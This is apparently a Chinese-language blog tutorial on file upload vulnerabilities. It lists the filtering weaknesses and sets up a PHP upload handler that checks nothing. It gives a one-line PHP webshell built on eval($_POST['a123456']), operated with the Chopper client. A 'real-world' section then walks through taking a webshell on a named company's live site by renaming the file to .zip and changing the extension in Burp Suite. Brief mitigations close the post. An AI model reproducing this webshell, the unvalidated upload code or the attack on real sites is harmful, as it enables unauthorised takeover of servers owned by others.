文件上传漏洞

0x00 什么是文件上传漏洞

在网站一些可以上传文件的地方,利用上传漏洞上传木马可以直接得到WEBSHELL,危害等级极高。

0x01 产生原因

  • 未过滤或本地过滤
    未过滤指没有限制任何格式的文件上传,这个时侯入侵者上传php文件,就可以直接利用。
    本地过滤是在前端进行过滤,实际上相当于没有任何限制,入侵者可以通过抓包更改文件名直接绕过前端检查。
  • 黑名单扩展名过滤
    黑名单因为限制的扩展名不够完善,导致可以通过各种其他的扩展名绕过,比如大小写混用,或者同故宫其他同种意思的扩展名进行绕过。
  • 文件头绕过
    如上传图片文件时,在文件头加上图片文件的文件头如“GIF89a”,则可以绕过检查。
  • content-type绕过
    content-type在http request的请求头里面,所以可以直接通过请求者抓包重发更改来绕过。

0x02 搭建环境

我们先尝试搭建一下文件上传漏洞的环境进行测试。
首先配置好lamp环境,然后在/var/www/html/test文件夹下,创建新的form.html文件,写入如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<head>
<meta charset="utf-8">
<title>php_upload</title>
</head>
<body>

<form action="upload_file.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>

</body>
</html>

然后创建upload_file.php,写入如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "错误:" . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
}
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " 文件已经存在。 ";
}
else
{
// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
}
?>

然后我们在物理机中,写一个含有如下恶意代码的php文件:

1
2
3
<?php
eval($_POST['a123456'])
?>

然后通过访问虚拟机中的网页,将文件上传

接着在浏览器访问/test/upload路径,可以看到我们的恶意代码已经上传

然后我们打开菜刀,将恶意代码的url和我们设置的密码写进去,进行连接,发现获取了目的服务器的权限,可以非常自由的访问所有路径,甚至进行写文件操作。

0x03 实战

接下来我们用某公司网页进行一个实战,目前该漏洞已被修复,请不要再尝试

在目的公司页面 http://asm.51welink.com 注册账号登陆
登陆进去后发现可以上传证书,但是限制了zip格式

同样我们写个和上面一样的php一句话木马,然后重命名成zip

1
2
3
<?php
eval($_POST['a123456'])
?>

通过burpsuite抓包上传的数据包,更改文件格式为php,上传

用菜刀连接,获取网站webshell。

0x04 应对

  • 1.应用白名单的方式过滤文件扩展名
  • 2.使用三等于(===)来对比扩展名(防止类型转换带来的逻辑漏洞,之后写逻辑漏洞的时候会写到)
  • 3.如果不是图片等必要呈现出来的文件,对上传路径设置权限。